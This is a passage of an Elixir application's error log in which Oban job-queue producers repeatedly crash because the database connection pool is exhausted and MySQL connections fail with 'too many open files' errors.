** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:29:35.240873Z], limit: 10, uuid: "3f3dff0f-33e5-4a82-9967-af6ee2de4373", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:35.240879Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.40742>, refresh_timer: #Reference<0.2525715032.1077673987.40740>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:29:35.239081Z], limit: 3, uuid: "477cb4dd-4aee-4fe4-9aac-57dd77aced25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:35.239086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60675>, refresh_timer: #Reference<0.2525715032.1099431938.60663>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:29:35.238832Z], limit: 5, uuid: "c684d0fa-7334-49b8-b094-b2d7f01fc575", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:35.238842Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60673>, refresh_timer: #Reference<0.2525715032.1099431938.60648>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:29:35.239603Z], limit: 5, uuid: "2b374778-da55-4806-8bfe-2fc71575eba0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:35.239609Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.40743>, refresh_timer: #Reference<0.2525715032.1121189889.193759>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:48.536000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:48.690000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:50.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:51.987000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:52.709000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:54.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:58.597000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:29:47.239510Z], limit: 10, uuid: "5cf8e0cf-9bc1-4e4e-a7c0-385aac9191ac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:47.239515Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60931>, refresh_timer: #Reference<0.2525715032.1077673987.40886>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:29:47.239299Z], limit: 20, uuid: "088a37f6-3d9b-44c9-8d11-eb568ab01a87", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:47.239305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60933>, refresh_timer: #Reference<0.2525715032.1121189889.193998>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:29:47.239319Z], limit: 50, uuid: "5ff3e1fb-8fe6-48ee-9a6b-ea5db95d0b3d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:47.239325Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60932>, refresh_timer: #Reference<0.2525715032.1077673987.40882>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:59.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:29:47.239565Z], limit: 3, uuid: "4ef0e0ac-193f-4062-9560-be7315ccdb2a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:47.239571Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60935>, refresh_timer: #Reference<0.2525715032.1121189889.194005>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:59.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
